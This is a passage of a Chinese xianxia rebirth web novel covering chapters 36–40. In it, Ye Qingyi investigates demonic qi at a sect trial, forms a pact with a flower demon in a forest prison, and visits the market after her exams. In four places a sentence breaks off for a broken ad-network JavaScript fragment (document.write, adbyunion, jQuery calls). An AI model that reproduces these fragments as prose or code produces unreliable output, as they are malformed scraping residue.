浩轩上下打量着叶清漪:“什么时候连这种不是正式弟子的都可以进入后山了。” 连喜刚准备替叶清漪解释,她自己就已经开口了:“掌门为了我行事方便,故而暂时准许我进入后山。” 浩轩似是对此颇有微词,都不曾正眼看叶清漪:“你们之间什么牵扯我不在乎,但一个非正式弟子还没有资格审问我。” 连喜:“那你随我去见师尊罢!” 浩轩有一瞬间愣住:“也好,事已至此,我也没想过会有什么好的下场,不过亲自过来看他一眼,也算对得起当初的兄弟之义了。” 言罢准备往门外走。 “如果你坦白整件事情的来龙去脉,或许事态也不一定会发展到不可挽回的地步。”叶清漪开口,浩轩闻言停住了脚步,叶清漪语气平静,继续说道,“我也不在乎你的态度,更不会争辩什么,或是徒劳地想证明什么,我是怎样的人也不需要解释给你这类无关的人听,至于我有没有资格审问你,你说了也不算。浩轩,你似乎没弄清楚,我不是在询问,我是在调查。如果你还想知道整件事情的本来面目,你就知道怎么做才是最明智的了。” 连喜看着眼前的叶清漪,似乎觉得有些陌生,这不像一个刚及笄的小女孩会说出的话,看来叶清漪比他想的还有自己的想法。 浩轩还是不打算配合。 “如果你还是不愿解释,或是一味意气用事,那我们只能按照现在能搜集到的信息来处理这件事,至于你隐瞒的部分,我们也无从得知,如果出现判断失误,那也是因为你有所隐瞒,而不是你自以为的,我们故意这么处事。” 浩轩神情微动。 “我能感觉得出来,你似乎对他人有很深的偏见,我们只是第一次见面,你就不由分说地下了判断,只怕你们当初发生的事情也是这样吧!” 浩轩终于有所触动,又走回到卧榻边。 “其实当年也没发生什么大事,不过年轻气盛有了些口角,后来就一直没再和好,其实二人心里的气都消了,只是谁也拉不下脸服软,我更是在进了后山之后就改选了符修,就是为了避免和他经常见面。只是如此一来,二人的关系就更难缓和了。” 叶清漪:“既然没太大的矛盾,那你如今又为何要如此行事?还在梓珩的剑上施加魔气。” 浩轩猛地抬眼,神色急切:“我没有!” “那他手腕的伤口可是你伤的?”连喜问。 恰好这时梓珩在隔壁听到声音过来,站在门口。 浩轩回头看了他一眼,没有否认:“的确是我伤的,用了幽泉诀,符咒会以泉水形态流过,但落水锋利,符咒所化泉水比寻常利刃还要锋利,且一经使用,便会化为日光下的一抹白烟,转瞬即逝,不易被人察觉,而且伤口利落,比坚硬的冰刃威力更大。可我从未用过什么魔气,之所以会出手,也是因为……我见梓珩出剑越来越凌冽,原本元平已经落了下风,难以招架,试炼说好点到而止,梓珩也没有收手之势,我才……” 连喜:“所以你是为了救元平才会出手?” 浩轩犹豫片刻,承认了:“正是。” 浩轩说着回头看向卧榻上的元平:“他近来修炼过于迫切 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,在场上明明招架不住了也不愿承认,还是这么倔。” 叶清漪和连喜交换了一个眼神,二人倒是不怀疑浩轩所言,只是线索到此又断了。 梓珩也说:“听浩轩师弟如此说来,我当时的确感觉星落剑有些不受控制,还以为是我没控制住心法。” 叶清漪:“好了,情况我们也大致了解了,如今看来,找到魔气的来源才是解开一切的关键。” 连喜走过去拍了拍梓珩的肩膀:“你们好好养伤,师尊一定会查出事情的真相,不会冤枉任何弟子的。” 梓珩颔首,眼里满是对云宸的信任:“掌门行事,我等自是没有疑虑,若非掌门明察,我早就被处置在凌云广场了。” 连喜会意,又转身看向浩轩:“既然你在,元平便拜托你照顾了,二人也借此机会好好聊聊,有什么事说开了就好了,若是救治不及时,元平可能……到时你岂不追悔莫及?” 浩轩也深以为然:“我会跟他说清楚的,世间最无力的事情不就是遗憾吗?如今能有机会不留遗憾,自然是要把握住的。” “希望你二位能早日重归于好。”连喜说完,带上叶清漪离开了。 这边已经调查得很清楚了,二人先回昭明殿回禀,云宸大致了解了情况,也很赞同他们的想法。 “各处仙气我已查探过,并无异常,若魔气不是从外界闯入,那只有一个地方。” “是密林?”连喜接过话头。 “密林?”叶清漪眉头一皱。 连喜以为叶清漪不知道密林是什么地方,想解释又不知想到什么,欲言又止地看了眼云宸。 云宸倒是直接介绍道:“密林也是供弟子试炼的地方,不过跟试炼大会不同,密林里用结界和各式法阵困住了很多妖邪,皆是历代云仞弟子捉到的妖邪,因为种种原因不曾击杀,变统一留在了密林里。” 这个叶清漪也是知道的:“那看来,这魔气多半是来自那里。” “若真是如此,只怕是密林的结界出了问题。”连喜有些担忧。 云宸摆摆手,一开口便有一股让人安心的力量:“无妨,你二人这便随我一同前去查看。” 37. 第三十七章 密林的所在叶清漪是知道的,那是供修炼有余力的内门弟子试炼用的,密林入口长年布着结界,能突破结界进入密林,才有能力对抗其中的妖邪,以叶清漪如今的修为连结界都进不去。 前世她也是在云宸手底下修炼了整整两年,才第一次进入密林试炼,那时候也是为了竞选大师姐,必须进一次密林,如果没有密林试炼的成绩,她就比不上当时成绩最高的师姐。 但叶清漪本身是不喜欢参与密林试炼的,那些妖邪日夜被困在里面,早已变得凶悍异常,还要遭受不定期的修仙陪练,被打得遍体鳞伤,这样根本不能算活着,还不如当初直接被击杀。 当叶清漪手持青霜剑,看着对面跪求她了结自己的小花妖,心中五味杂陈,那也是她第一次对修仙的目的产生了疑问,难道她日夜苦修,就是为了对付这样根本没有害过人的妖邪吗? 修言会说,只要是妖邪,骨子里就是坏的,没害人只是暂时没有,不能保证之后不害人。 当年的叶清漪面对这一番言论,着实不知该如何反驳,因为它听起来似乎没什么不对。 但是如今,叶清漪终于明白哪里不对——未来的事谁也不清楚,不能为了可能会发生的事情就提前给他们定罪,就算有很多恶妖,也不代表所有妖邪都是坏的,但这点如何界定,的确很难。 云宸说着准备带叶清漪和连喜出门。 “掌门,我也去吗?”叶清漪不确定地问。 云宸回头,思忖片刻,缓缓点头:“的确,你修为尚浅,不适合入密林,不如……” 叶清漪不知想到什么,又改口道:“掌门,不如让我也去吧!” 云宸愣神片刻,没有阻拦,反手在她身上施了个法障:“此法障可在短时间内护你无虞,你若想提前看看密林的光景,随我们同去也无妨。” 云宸说着转身离开了。 叶清漪彻底傻了,都忘了道谢,云宸这是将他自己的术法分给了她一成,才做成的这护体法障。原本她提出这个要求时就想过云宸会有办法帮她进入密林,只是没想到云宸会直接将自己的修为分给她。 连喜从身后走上前,捅了捅她的胳膊,笑得没心没肺:“师尊对你可真好,我都没这待遇呢!” 得了云宸修为的叶清漪瞬间觉得身体轻易了不少,终于回到当初十分之一的感觉了。但她内心却没有多欣喜,哪怕如今她还不是云宸弟子,他也还是对她这么好,这让叶清漪多少有些愧疚,但她很快压下这种心情,提步跟上。 密林在后山主殿长明殿的东南方向,叶清漪和连喜随云宸御剑而行,眨眼便至。曾经密林入口清晰可见的结界,如今的叶清漪即便有云宸术法的加持,也依旧看不到,在她看来那入口就跟寻常林子没什么两样。 云宸见她有些迟疑,便道:“你如今这般可以随意进入,不必担心。” 叶清漪恭敬应过,跟在云宸和连喜后面进了密林。 其实她此来除了想弄清魔气的具体来源,还想看看那只小花妖,虽然提早了四年多,但机会难得,毕竟下一次她再想进入密林,最快也是两年后了。 密林入口有一些薄雾,对于他们来说不过寻常的雾气,但对妖邪来说却是使劲浑身解数也难以逃离的牢笼,而且密林也对妖邪有压制作用。 步入密林之内,脚下泥土松软,丝履踩在枯叶上发出簌簌的声音,若不是四周肃杀的氛围,这简直就是一处绝佳的赏秋圣地。 叶清漪也不知道这时候那只小花妖有没有被抓进来,只能碰碰运气,虽然她也不知道就算见到了花妖能做什么,但还是很想见见她。 她正四处搜寻着,听得云宸说:“密林四周蛰伏了很多不同道行等级的妖邪,其中不乏被困多年、性情暴戾的恶妖,你二人切记要跟紧步伐,莫要走失,更加注意不要误开阵法。” 云宸还特意叮嘱叶清漪:“尤其是你,你如今修为尚浅,灵力稀薄,若是不慎开启密林中的阵法,卷入结界之中,我们一时半会是无法探查到你的气息的。” 叶清漪道了是,心里却犯起嘀咕:云宸好像知道她有其他打算似的,也可能是她多心了吧,不过云宸也是出了名的心思通透,哪怕是一个微小的举动,他都能猜到你心中所想,在他面前仿佛没有秘密一般,是以叶清漪对云宸除了尊敬还有一丝惧怕。 “这个林子里有很多独立结界,每个结界里关了数量不等的妖邪,用于给内门弟子试炼提高用,凶险异常,就算是我和大师兄进去也要万分小心,你可千万要注意!”连喜怕叶清漪不了解,还特意跟她解释,“总之你只管跟紧我,若是还担心也可以抓着我的衣袖。” 看着连喜大方伸出的衣袖,叶清漪有点不知所措,她看了看前方的云宸,默默按下了连喜的胳膊,低声道:“掌门还在呢,这样不合礼法。” 连喜还想说什么,云宸就回头喊他们跟上,叶清漪果断紧走两步上前,留连喜独自在原地,胳膊还尴尬地停在半空。 过了会,他看了看四周沉默又危险的密林,也赶紧提步跟上云宸了。 三人很快走到密林深处,从他们如今的位置望去,四周都是一模一样的枯树,已经找不到入口的方位了。如今已是深秋,树枝光秃秃的,树干笔直,沉默伫立,看着质朴无害,可说不准在哪棵树身后就是一个困着数十只妖邪的地狱难度的试炼。 密林内的气候常年阴雨,阳光仿佛照不进来似的,上空总是笼罩着一层厚重的阴云,也可能是由其中浓重的妖气汇聚而成。 越往里走,叶清漪越不舒服,但她如今也没办法离开,只能跟紧云宸,希望在她倒下的时候边上能有人看见。 云宸该是察觉到她的脸色了,但他并未责怪她一意孤行要跟进来,反而停住脚步,没有再往更深处走去。 他抬头看了看四周,双指并拢在灵台处比划了一下,一道清波在密林中划开来去,叶清漪瞬间感觉没那么难受了。 “我已在此地建了个独立的结界,你若是不适,就别与我们一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 起进入密林更深处了。”云宸说着抬头看了眼密林一角,“那处似有灵力异动,连喜,你与我同去看看。” 连喜看了一眼叶清漪,有些犹豫。 云宸意识到了,也认为将叶清漪独自留在原地不妥,似乎想改主意。 叶清漪原本就是自己要求进来的,便不想让连喜因为自己丢下云宸,便推着连喜:“你还是跟着师尊……跟着掌门一起吧!” 说完总觉得说不出的别扭。 云宸听罢没什么表情,只是转过身自顾自走了,连喜犹豫片刻,再三嘱咐叶清漪留在原地等他们回来,也跟了上去。 叶清漪在原地等了一会儿,也不见他们二人回来,但她又不敢擅自离开如今的位置,只好一直在原地等着。 不知过了多久,叶清漪迷迷糊糊间睡着了,醒来时发现自己蹲在地上。这时云宸从正前方走来,跟她说他和连喜在前方有了发现,让叶清漪和他一同去跟连喜回合。 叶清漪不疑有他,刚准备跟上,心里却有种不好的预感,她走了两步又停下,看着不远处的云宸,说:“还请掌门先替弟子解开这结界,我灵力低微,无法自行离开。” “云宸”站在原地,并未有所动作。 叶清漪心里已经猜到八九分:“掌门看起来似乎有些为难?难道是解不开自己设置的结界吗?” “云宸”想了想,只说:“你自行走过来即可,无需解开。” 叶清漪依旧没有动,甚至往后退了两步:“你不是云宸。” 对方也没有否认,只是玩味一笑,用云宸从不会有的语气说:“没想到我还低估了你?只是我自认为方才所言所行没有任何漏洞,你又是如何看出破绽的?” 叶清漪深吸一口气:“那是你以为的天衣无缝,可你似乎忘了,你能幻化的只是掌门的外形,却无法模仿他的眼神,还有掌门的举手投足,时间长了自然露馅。” 对方眼中闪过一丝鄙夷:“你说的确实没错,可即便只是幻化出一个模样,短时间内以假乱真也已足够,你个小小仙门学徒怎么可能识破,我看你不过是碰运气罢了。” 对方应该是个自尊心很强的妖邪,非要跟叶清漪分说明白,可叶清漪又无法告知是因为前世她和云宸朝夕相处了三四年,一千多个日夜,她自然对云宸的举手投足无比熟悉,甚至连他语气的停顿,脚步的节奏都能听出来。 叶清漪只好说:“我一个仙门学徒都能识破,只能说你这化形的功夫还是要多练。” 对方像是受了极大的屈辱,当即就发动功法:“果然,整个云仞山没一个好东西,今日我就让你见识见识,什么叫自取灭亡。” 言罢直接一掌袭来。 虽然有云宸的结界庇护,可叶清漪修为太弱,还是受到了重创,直接被掀飞至半空,继而重重摔下。 这结界只能保叶清漪不被妖邪近身,但无法完全隔绝妖邪的攻击。 叶清漪趴在地上,只觉心口一滞,吐出一大口血来。 38. 第三十八章 被云仞山抓住的妖邪只有两种下场,一种当场击杀,一种被关进密林。 不知从何时起,这已经成了约定俗成的规则了,可没人想过为何如此,密林又为何会成为这样一处所在,试炼者的天堂,妖邪的修罗场。 有些特殊物种的妖邪,因其对修炼有着无法替代的增益,屡屡被拉出来试炼,又在重伤濒死时被救治回来,伤好后又再次拉进试炼。每次试炼开启的结界也是随机的,所以密林内的妖邪自然是整日处于惊惶之中,不知何时就会轮到自己。 叶清漪也能理解面前这只妖邪的反应,只是…… “你下手也太狠了吧!咳咳……”叶清漪艰难控诉着。 “呸!你们这些修仙的诡计多端,以为派你这儿灵力低微的弟子出来,我们就会放松警惕吗?快让你埋伏在暗处的那些援手出来吧!”对面的妖邪严阵以待。 叶清漪一时半会还没爬起来,欲哭无泪:“我也想啊!” “别装了!以为这样就能迷惑我吗?”妖邪并不掉以轻心,甚至更加笃定叶清漪这样定然有诈,“别以为我不知道,像你这般修为的弟子根本不可能进入密林,若无高阶弟子相助,你怎么可能会出现在此,而且护着你的这个结界也是功力上乘的修士所建,用心实在险恶,你们这些所谓的正道人士简直是道貌岸然,令人不齿!” 叶清漪弱弱举起一只手:“停!我知道我现在说什么你也听不进,但我说的都是真的,不信你跟我一起在这等一会儿就知道了。” 妖邪愣了一会,又反应过来:“你以为我傻吗?陪你在这儿等援兵,好一起对付我们?我看不如趁援兵未到,先结果了你,左右也是躲不过一死,死之前能拉个云仞弟子垫背,也算是赚了!” 那妖邪言罢就要再次出手,叶清漪无奈地闭了闭眼,云宸和连喜还没回来,只怕是来不及救她了。她本想就此认命,但转念一想,她好不容易重生一趟,就这么交代了也太冤了,于是她出手打断施法,晓之以理,努力为自己争取一线生机:“你听我说,你本本分分待在这密林,怎么会无缘无故要你性命?相反,如果你杀了我,那我的师兄和师尊肯定不会放过你。” 虽然她现在还没拜师,但那妖邪不了解内情,叶清漪便用了这个托词。 不料那妖邪听完更加愤慨:“果然有诈!我就说你们这些臭修士死性不改,左右都是死,与其这样每日提心吊胆,倒不如给个痛快!我今天就先结果了你!” 叶清漪彻底心灰意冷,拖了这么久也不见云宸他们回来,怕是天要灭她,或许重生本就被天地不容,这才有了今日之祸,叶清漪认命地闭上眼,趴在地上等待自己的命运。 这时一道清丽的女声响起:“阿龙住手!” 那妖邪闻言来不及收手,只在最后关头转了方向,加上叶清漪拼尽全力原地翻了一圈,那妖邪的攻击刚好打在叶清漪的侧腰处!好在偏了方向,没有尽数落在叶清漪身上,但她侧腰还是被术法的余力击中了,像被人用石头狠狠砸了一下。 叶清漪眼泪都疼出来了,半边身子都麻了,痛得倒吸一口凉气。 一阵簌簌的声音响起,有人紧走两步赶了过来,听脚步像是往她这边走。 叶清漪一时半会儿爬不起来,只好认命趴着,心想那妖邪要是过来补一下,她也没办法,结果却被一双手温柔地扶起来,叶清漪错愕望去,发现来的竟是当年那只小花妖。 “你没事吧!”小花妖语气关切,眼中满是担忧。 叶清漪在她的搀扶下挣扎着起身,对面那幻化成云宸模样的妖邪也已恢复了本来面目,是个面容清秀的男妖邪。 “你怎么来了?”那个叫阿龙的妖邪上前两步,将女妖拉至一旁,二人压低声音说着些什么。 叶清漪靠着一旁的树干休息,喉咙口被血沫堵着,急急咳了两声,才暂时稳住气息,她定了定神望去,那花妖正在与那树妖争执,二人大约是理念不合,叶清漪看着那小花妖,心情复杂。 原本她进来就是想看看这只花妖,如今见到了却发现,她根本做不了什么。 是只芍药妖,她还记得,只是那时的花妖不似如今这般天真烂漫,叶清漪也从花妖当时的哭诉中得知和她一起的树妖已经死了,估计就是这只叫阿龙的妖吧! 如此想着,叶清漪又对这树妖恨不起来了。 两妖争执了许久仍旧没达成一致,那花妖无奈低下头,似是注意到叶清漪的目光,歪头看向她,一副毫不设防的模样。 树妖阿龙注意到此,刚想斥责花妖太过单纯,又察觉到密林深处有灵力波动,应该是云宸他们折返了,树妖慌乱不已,若是被云宸发现他们私自离开结界,或是将叶清漪留在此地任由她告发自己,他们的下场都可想而知,是以树妖慌乱之下做了个大胆的决定,他一抬手,将叶清漪和小花妖一起拉了过来。 表面上看叶清漪只是换了个位置,但实际上她已经进入用来困着妖邪的独立结界中——除了这两只妖邪,她还看到了一只老树妖。 她来不及多说,便看到云宸和连喜匆匆赶回,在之前等候的位置寻找叶清漪,叶清漪也拼命在喊他们,但隔着结界,云宸和连喜根本听不到,并且正如云宸此前所说,她如今气息微弱,很难捕捉,况且她还随身带着归墟草。 想到此,叶清漪连忙将怀里的香囊隔空掷了出去。 香囊倒是穿过结界了,连喜也第一时间发现,捡起香囊,茫然四顾。 云宸听到声音转身询问是否是叶清漪的香囊,连喜说是,但他仍不知叶清漪在何处,此时云宸已然明了叶清漪定是误入哪个结界了,但密林的结界结构复杂,互为依存,不能强行破坏。唯一的法子,只能一个一个结界地找。 叶清漪就看着云宸和连喜一会儿消失,一会儿又在另一个位置出现了,如此反复,大约正在一个个结界地排除。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “这样下去迟早会找到我们这儿?怎么办啊?”花妖芍药担忧不已。 “找到就找到,大不了一死。”龙血树妖看着镇定自若,实则也乱了阵脚。 “我俩出点事不要紧,不能连累槐树爷爷啊!”芍药急得不行,“都怪你,谁让你将她拉进来的,这下好了,彻底说不清了!” “反正困在这里也是等死,还不如早点了结。”龙血树眼神坚毅起来。 “其实……倒也不用这么悲壮……”叶清漪弱弱开口。 “你懂什么!”阿龙毫不客气地斥责。 “我不会揭发你们的。”叶清漪语气迫切。 “你和他们都是云仞弟子,你觉得我们会信吗?”阿龙应该经历了不少事情,不像小花妖那般容易轻信他人。 一旁的小花妖却帮着叶清漪一起说服阿龙:“我看这位仙姑不是坏人,你就放她离去罢!” “你忘了报春花和南天竹都是怎么没的了吗?原本我们五个人是在同一个结界里的,他们就是太过轻信那些弟子,才会被取了内丹,身体还拿来入药,做成丹药给那些弟子疗伤。” 芍药不说话了。 身后的槐树妖虽然没有敌意,但也没有要帮叶清漪的意思。 叶清漪揉了揉吃痛的侧腰,一脸真诚:“是这样的,如果我说我未来会成为云仞的大师姐,云宸的亲传弟子,你们……会不会觉得我疯了?” “………………” 叶清漪从他们脸上看到了答案。 叶清漪扶额,没想到有朝一日她竟然要跟三只妖证明她是未来的她。 “好了,这不重要……总之杀了我对你们一点好处都没有,相反,若是你们今天放了我,回去之后我一定加倍努力修炼,总有一日会成为云仞山大师姐,也会成为云宸掌门亲传弟子,到时我一定会将你们从密林放出来,让你们回到魔界。” 听完她这一番话,三只妖都有些呆滞。 阿龙嘴角抽动:“你为了活着离开还真是努力啊……” 小花妖眼睛亮了亮:“我相信你!” 老槐树无奈地摇着头,有着历经世事的淡然。 外面云宸和连喜还在逐个结界排查。 阿龙看了眼云宸他们,态度有几分缓和:“就算你言出必行,可口头许诺如何作数?” 阿龙看了看一旁的小花妖,对叶清漪道:“这样吧,我们妖族所立契约都是以妖契的形式约束的,你跟芍药结个妖契,到时如果你真的能履行诺言,至少可以将她带出去。” “阿龙!”芍药不肯。 “槐树爷爷年纪大了,我是男子,又比你多出五百年道行,这妖契自然该是你来结。”阿龙不由分说一把抓住芍药的手腕,对叶清漪道,“说吧,你愿不愿意!” 叶清漪莫名觉得这般问话哪里不对劲,但也来不及细究,她伸出手腕,爽快道:“不就是个妖契,我结了!” 39. 第三十九章 叶清漪觉得,她这一世的遭遇未免太过离奇了。 进了密林一趟莫名结了道妖契,并且因为调查魔气来源,她成功错过了试炼大会最后的资质测试。 倒也不算坏事,能避免过早暴露自己的资质水平,或许也在某种程度上避免了很多无谓的矛盾,省下来时间和精力更好地修炼。 不过目前最主要的还是解决魔气的问题,云宸和连喜进入密林深处查探,也没查出什么,只是有个别妖邪企图冲破结界,云宸已经当场加固了,二人返回之后就发现叶清漪不见了,一通找也没找到,直到最后叶清漪自行出现,三人才汇合。 连喜第一时间冲上来查看叶清漪的状况,又问她为何消失,叶清漪只说自己不慎进了其他结界,随便解释了几句糊弄过去了。 连喜倒是没怀疑,但身后的云宸就不一定了,叶清漪担心云宸会斥责她,也担心被发现身上的妖契,是以眼神有些躲闪。 但云宸只说了句“没事就好”,就提步带头往密林出口走去了。 叶清漪暗暗松了口气,和连喜一同跟了上去。 虽然她不明白云宸为何没有揭穿她,但也不好多问,只能按下疑虑,日后再寻个时机探探云宸的口风。 * 回到寝舍时,夏侯静仪和裴佩都第一时间迎了上来。 裴佩紧走两步:“你怎么被师尊带走了,我们都很担心。” 夏侯静仪更是毫不掩饰地焦急:“怎么会让你去查呢?咱们只是仙门学徒,这些事情交给师兄他们就好了啊!” 叶清漪安抚了她们两句,只说已经没事了。 裴佩又问:“怎么样?逃逸的魔气最后找到了吗?” 叶清漪摇摇头,在如意圆桌旁坐了下来。 夏侯静仪连忙给她倒了杯茶:“喝点热茶缓一缓,我们听说你还去了后山密林,那里关的都是残暴狠厉的妖邪,你此去一定吓坏了吧!” 叶清漪按上左手手腕一寸处,那里有淡淡的妖契印记,只有她能看到。 “有掌门和二师兄在,不打紧的。”叶清漪扯了扯嘴角。 夏侯静仪还想再问什么,被裴佩制止了:“好了,折腾了这些日子,让清漪好好休息吧!” 二人说着相携去上下午的课了,叶清漪被云宸特赦可以休息半日,便独自在寝舍休息,她也终于可以安静下来好好梳理下纷乱的头绪。 离开密林后,叶清漪将自己的猜测告知云宸,认为魔气的侵扰和门中之人有关,而且定是举足轻重的人物,否则无法避开重重检查,将魔气放入试炼大会。 她相信云宸肯定也猜到了,但云宸却阻止她继续查下去,只随便寻了个由头,将此事揭过。 如今想来,以云宸的敏锐直觉,只怕早就猜到是谁动的手脚,大张旗鼓的调查也只是做做样子,只是他为何不愿揪出此人,以绝后患呢? 叶清漪唯一能想到的解释,也只能是云宸格局比她大吧! 但她也不是多事的人,云宸都决定装聋作哑,她更没理由顶着学徒的身份,操着掌门的心。 之后的日子叶清漪开始加快脚步修炼,原本以为妖契在身可能会影响修炼的进度,没想到她功力涨的比之前还要快,短短两月已经超过前世同时期的修为了。 莫不是因为妖契的内容是早日修炼到大师姐,所以在一定程度上有辅助修炼的作用?当然也可能是因为这一世她开始的早。 她在戒律课上也十分积极,每日抱着本厚厚的《门规一千讲》刻苦钻研,到后来戒律远远见了她就跑,生怕她缠着自己问个不停。 在这样异于常人的修习节奏下,叶清漪度过了第一年的修炼时光,也迎来了第一次的年度考核。 第一年的考核大致分为两个部分,戒律教授的理论课程,参考书目共五本——除了《仙门五千年》、《修仙入门十问》、《门规一千讲》还有《修炼基础拓展》和《开蒙黄皮书》,另从三千门规中任意选取三十几条默写;再就是执明的《剑道基础》,外加一段自由剑法展示。 任务不能算轻。 所有人都严阵以待。 考前的十天整个前山难得呈现一种拼搏奋斗的向学状态,就连平日乖张放肆的凌雪瑶也认认真真背起心法条例,毕竟考核结果直接关系到能不能被留下继续第二年的修习,前十名更是有机会获得一本入门心法,并且更有能力角逐之后的亲传弟子人选。 考核一共两日,第一日上午考戒律的课,下午考《剑道》;到了第二日任务就轻松多了,只需依次展示剑法,不过因为人数较多——大约有八十几人,全部考核结束也要到晚上了。 考核结束后有十几日的休息时间,很多人会选择到云仞山下的集市游玩,云仞山脚有一条蜿蜒曲折的河流,名为不渡川,顾名思义,是用来阻止门中弟子私自下山的,从此岸到彼岸足足有十公里宽,平日只有一叶扁舟停在湖心,摆渡人孤独守候,为个别修为高强的道长提供方便,只有每年考核结束的休息期间河面才会架起长桥,供门中弟子通行。 过了不渡川,往前再走几里路,就到山脚的集市了。 集市售卖各式各样的物件,大到心法秘籍,各式仙袍道服,小到剑穗香囊、品相一般的灵石,应有尽有。前世叶清漪也曾去过两次,不过都是去看热闹的,集市上的物件良莠不齐,真假参半,多数是图一乐,心法秘籍更是无用,买来装饰书架都嫌占地方,也就糊弄那些没进仙门,没开灵智,但又一心向道的世家子弟们。 也就一些瓜果点心,包子馄饨什么的还算不错,她也曾买过一些尝尝,不过如今叶清漪的食欲已经越发浅了,加之她又给自己安排的修炼计划,想趁这十几日门中人少,可以清净地修炼,便根本没打算下山。 这一日天气正好,正值春日,叶清漪低头收拾着书袋,里面装了几本她在藏经阁借来的心法,还有一本装裱精良的功法秘籍,她也不知是怎么来的,兴许是借书的时候多借了一本,原本想还回去,结果看了一点发现还不错,就留着了,如今倒成了她翻看最多的一本了。 夏侯静仪见她收拾书袋,有些不解:“你不去集市逛逛吗?我和裴佩正打算去,你也一起吧!” 裴佩也道:“好不容易休息,你就别每天看书了,也要偶尔放松一下啊!” 夏侯静仪也道:“是啊,快些换上常服和我们一同去罢!” 叶清漪原本想拒绝,但一想最近修为确实停滞了很久,也许是太过激进的缘故,或许休息一下也能有所帮助,便答应了。 三人便一同下了山。 走到不渡川边的时候,叶清漪不禁又回想起前世只身杀回云仞山的场景,当时她是怎样的愤懑和绝望,如今看着桥上三两成行的弟子们,说说笑笑,满是考核结束的轻松氛围,她这才生出一点恍若隔世的感觉。 曾经那个结局还远在多年以后,一切仿佛还很遥远。 夏侯静仪见她这样,好奇地凑上来:“看什么呢?” 叶清漪收回视线,淡然一笑:“没什么。” 裴佩示意她们尽快上桥:“快些走吧,难得休息,我想多逛一会儿。” 考核成绩还没出来,如今是最没负担的时候,所有人都想趁机游玩一番,缓解一下这一年来的憋闷心情。 只是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不到三年期满,还不能回去本家,不过能在山下逛逛也是好的。 叶清漪和两位师妹一同步行去集市,另外两位一路有说有笑,好像有说不完的话,叶清漪只是沉默跟着,偶尔说上一两句,但和之前不同,叶清漪并没有那种格格不入的感觉,反而有一种自洽的感觉,虽然跟裴佩和夏侯静仪也算不上很要好,但这一年相处下来也算融洽,并且她们彼此都很了解对方,时常也会有心照不宣的瞬间,哪怕走在一起不说话也不会觉得不自在。 这是她从来没想过的,也算是意外收获吧!更让她庆幸的是,连喜和云宸如今都安然无恙,这让她更加珍惜如今的时光,也是她一度想要尽快变强的原因,她想在美好的当下达到更好的状态,只有那样,她才觉得前世那个自己来到了如今的时刻,虽然带了点自欺欺人的意味,但聪明人也难免会做糊涂事,偶尔自我欺骗一下也无妨。 且有一点是很清晰的,她不能一直弱下去,那样行事掣肘太多。 这样一路来到集市,场面一下热闹了起来,成排的小摊分列两旁,所售物件种类繁多,沿街还有许多商铺,各色商品应有尽有,弟子们大多换上了常服,趁着春日好好游览一番。 三人随便逛了几个摊位,裴佩和夏侯静仪就说要去醉华楼吃点心,叶清漪也随着去了。 醉华楼是山脚这个小镇里最大的酒楼,但修道之人甚少饮酒,个别离经叛道超然物外的奇才除外,所以醉华楼更多时候供应的是茶水点心。 走得累了大家也多会进来歇歇脚,喝点山泉水泡的茶,并且二楼临街,视野很好,在楼上可以俯瞰整个集市,也算别有趣味。 叶清漪三人上楼的时候,遇见了连喜,他跟几位师兄坐在楼梯口的雅间里,叶清漪她们正好从门口路过,一眼便能看到正中间面朝门口坐的连喜。 “你这是来喝茶的还是捉人的?”叶清漪看得好笑,别人进雅间都是为了躲清净,连喜不仅挑了个人来人往的地方,还大开着门,生怕错过来往的人似的。 “我是特意来这等你的!快快,快进来。”连喜拉着叶清漪进去,叶清漪才发现里面还有几张桌子,顾长风他们都在。 “考得怎么样?”连喜一上来就问,“这段时日忙着考核,都没时间来看你。” “还行。” 这时裴佩和夏侯静仪也随后进来,在另外两个空位上落了座,连喜招呼她们点了好些茶点,她们二人边吃边聊,叶清漪则跟连喜时不时聊两句,她跟连喜已经有好些日子没见了,一来也如连喜所言,他们确实比较忙,二来,也是叶清漪有意疏远他。 不知何时,他们之间的氛围发生了一些微妙的变化,这点二人都有感觉,连喜虽然看起来依旧没心没肺,但他交往时刻意像从前一般大大咧咧的样子,还是有些用力了。 而往往越想装作无事发生,越会露了怯意。 叶清漪磕完手里的瓜子,正打算再抓一把,恰好连喜也去抓瓜子,刚好和叶清漪的手背碰在了一起。 叶清漪的手立刻烫了回来,连喜也不太自然地收回手,咧嘴一笑,将抓到的瓜子搁在叶清漪面前:“你想吃就都给你罢!” 叶清漪含糊应了,视线转向别处,脸颊控制不住地红起来,连耳朵根都在烧着。叶清漪只能庆幸今日梳了个日常的发髻,两边还有些头发遮挡一二,看的不是那么明显。 连喜也将头转向另一边,看不清楚他现在的表情。 这一幕恰好被不远处的顾长风看在眼里,握着茶杯的手暗暗用力,手背很快暴起青筋。 他眸色阴沉地看着各自别扭的叶清漪和连喜,不知在作何想…… 40. 第四十章 几人坐了会儿,夏侯静仪便提议要去沿街商铺逛逛。 叶清漪:“也好,正好坐得有些累了。” 三人说着站了起来,连喜也随之起身,但没有要随她们同去的意思。 夏侯静仪见了,便提议道:“不如二师兄也一同去罢!” 连喜看向叶清漪,想看她的意思。 叶清漪见夏侯静仪和裴佩都不介意,便道:“好啊,那便一起去罢!” 连喜跟几个师兄打过招呼,便随她们一起离开。 吃了点心喝过热茶,叶清漪感觉又多了点游玩的心思,夏侯静仪和裴佩走在前面,她跟连喜并肩走在后面,这时对面相向而来的人流忽然有些拥挤,挤到了叶清漪这边,连喜连忙扶着叶清漪的肩膀将她拉到内侧,叶清漪猝不及防,心跳漏了一拍。 “小心!”连喜严阵以待地看着路过的人流,留给叶清漪一个棱角分明的侧脸,阳光从他头顶投下,为他周身镀上了一层柔和的光芒。 叶清漪迷迷瞪瞪地想,她怎么越看连喜越顺眼了?连他的声音也变好听了? 等人流过去之后,连喜才松开叶清漪。 “这里有家胭脂铺,听说他家的水胭脂很不错,我们进去看看吧!”夏侯静仪的话打断了叶清漪的思绪,二人一起进了胭脂铺,连喜不太方便进去,便等在外面。 